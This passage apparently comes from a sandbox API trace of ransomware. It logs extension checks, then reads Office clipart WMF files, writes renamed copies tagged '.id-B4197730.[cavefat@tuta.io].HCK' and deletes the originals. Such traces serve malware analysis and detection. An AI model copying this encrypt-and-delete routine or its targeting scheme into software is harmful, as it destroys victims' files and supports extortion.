(lpString=".zip") returned 4 [0157.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.233] lstrlenW (lpString=".rar") returned 4 [0157.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString=".bz2") returned 4 [0157.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString=".7z") returned 3 [0157.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".dbf") returned 4 [0157.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".1cd") returned 4 [0157.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".jpg") returned 4 [0157.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".doc") returned 4 [0157.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString=".docx") returned 5 [0157.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.233] lstrlenW (lpString=".pdf") returned 4 [0157.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString=".xls") returned 4 [0157.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.233] lstrlenW (lpString=".xlsx") returned 5 [0157.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.233] lstrlenW (lpString=".ppt") returned 4 [0157.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".zip") returned 4 [0157.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.233] lstrlenW (lpString=".rar") returned 4 [0157.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString=".bz2") returned 4 [0157.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString=".7z") returned 3 [0157.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".dbf") returned 4 [0157.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".1cd") returned 4 [0157.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.233] lstrlenW (lpString=".jpg") returned 4 [0157.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.233] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.234] lstrlenW (lpString="BS01639_.WMF") returned 12 [0157.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.234] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4236) returned 1 [0157.234] CloseHandle (hObject=0x384) returned 1 [0157.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0157.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.234] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.234] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.235] GetLastError () returned 0x0 [0157.235] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x108c, lpOverlapped=0x0) returned 1 [0157.236] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1090, lpOverlapped=0x0) returned 1 [0157.236] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.237] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.237] SetEndOfFile (hFile=0x380) returned 1 [0157.237] CloseHandle (hObject=0x380) returned 1 [0157.237] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.238] SetEndOfFile (hFile=0x384) returned 1 [0157.238] CloseHandle (hObject=0x384) returned 1 [0157.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.239] lstrlenW (lpString=".doc") returned 4 [0157.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString=".docx") returned 5 [0157.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.239] lstrlenW (lpString=".pdf") returned 4 [0157.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString=".xls") returned 4 [0157.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.239] lstrlenW (lpString=".xlsx") returned 5 [0157.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.239] lstrlenW (lpString=".ppt") returned 4 [0157.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.239] lstrlenW (lpString=".zip") returned 4 [0157.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.239] lstrlenW (lpString=".rar") returned 4 [0157.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString=".bz2") returned 4 [0157.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString=".7z") returned 3 [0157.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.239] lstrlenW (lpString=".dbf") returned 4 [0157.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.239] lstrlenW (lpString=".1cd") returned 4 [0157.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.239] lstrlenW (lpString=".jpg") returned 4 [0157.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.240] lstrlenW (lpString=".doc") returned 4 [0157.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".docx") returned 5 [0157.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.240] lstrlenW (lpString=".pdf") returned 4 [0157.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".xls") returned 4 [0157.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.240] lstrlenW (lpString=".xlsx") returned 5 [0157.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.240] lstrlenW (lpString=".ppt") returned 4 [0157.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.240] lstrlenW (lpString=".zip") returned 4 [0157.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.240] lstrlenW (lpString=".rar") returned 4 [0157.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".bz2") returned 4 [0157.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".7z") returned 3 [0157.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.240] lstrlenW (lpString=".dbf") returned 4 [0157.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.240] lstrlenW (lpString=".1cd") returned 4 [0157.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0157.240] lstrlenW (lpString=".jpg") returned 4 [0157.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.240] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.240] lstrlenW (lpString="CG1606.WMF") returned 10 [0157.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.241] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3564) returned 1 [0157.241] CloseHandle (hObject=0x384) returned 1 [0157.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0157.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.241] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.241] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.241] GetLastError () returned 0x0 [0157.241] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xdec, lpOverlapped=0x0) returned 1 [0157.243] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0157.243] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.243] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe8, lpOverlapped=0x0) returned 1 [0157.243] SetEndOfFile (hFile=0x380) returned 1 [0157.244] CloseHandle (hObject=0x380) returned 1 [0157.244] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.244] SetEndOfFile (hFile=0x384) returned 1 [0157.245] CloseHandle (hObject=0x384) returned 1 [0157.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.246] lstrlenW (lpString=".doc") returned 4 [0157.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString=".docx") returned 5 [0157.246] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.246] lstrlenW (lpString=".pdf") returned 4 [0157.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString=".xls") returned 4 [0157.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.246] lstrlenW (lpString=".xlsx") returned 5 [0157.246] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.246] lstrlenW (lpString=".ppt") returned 4 [0157.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.246] lstrlenW (lpString=".zip") returned 4 [0157.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.246] lstrlenW (lpString=".rar") returned 4 [0157.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString=".bz2") returned 4 [0157.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString=".7z") returned 3 [0157.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.246] lstrlenW (lpString=".dbf") returned 4 [0157.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.246] lstrlenW (lpString=".1cd") returned 4 [0157.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString=".jpg") returned 4 [0157.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString=".doc") returned 4 [0157.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString=".docx") returned 5 [0157.247] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.247] lstrlenW (lpString=".pdf") returned 4 [0157.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString=".xls") returned 4 [0157.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.247] lstrlenW (lpString=".xlsx") returned 5 [0157.247] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.247] lstrlenW (lpString=".ppt") returned 4 [0157.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString=".zip") returned 4 [0157.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.247] lstrlenW (lpString=".rar") returned 4 [0157.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString=".bz2") returned 4 [0157.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString=".7z") returned 3 [0157.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString=".dbf") returned 4 [0157.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString=".1cd") returned 4 [0157.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0157.247] lstrlenW (lpString=".jpg") returned 4 [0157.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.247] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.247] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0157.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.248] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2422) returned 1 [0157.248] CloseHandle (hObject=0x384) returned 1 [0157.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0157.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.248] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.248] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.248] GetLastError () returned 0x0 [0157.248] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x976, lpOverlapped=0x0) returned 1 [0157.250] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x980, lpOverlapped=0x0) returned 1 [0157.251] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.251] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.251] SetEndOfFile (hFile=0x380) returned 1 [0157.251] CloseHandle (hObject=0x380) returned 1 [0157.252] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.252] SetEndOfFile (hFile=0x384) returned 1 [0157.252] CloseHandle (hObject=0x384) returned 1 [0157.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.253] lstrlenW (lpString=".doc") returned 4 [0157.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.253] lstrlenW (lpString=".docx") returned 5 [0157.253] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.253] lstrlenW (lpString=".pdf") returned 4 [0157.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.253] lstrlenW (lpString=".xls") returned 4 [0157.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.253] lstrlenW (lpString=".xlsx") returned 5 [0157.253] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.253] lstrlenW (lpString=".ppt") returned 4 [0157.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.253] lstrlenW (lpString=".zip") returned 4 [0157.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.253] lstrlenW (lpString=".rar") returned 4 [0157.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.253] lstrlenW (lpString=".bz2") returned 4 [0157.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.253] lstrlenW (lpString=".7z") returned 3 [0157.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft 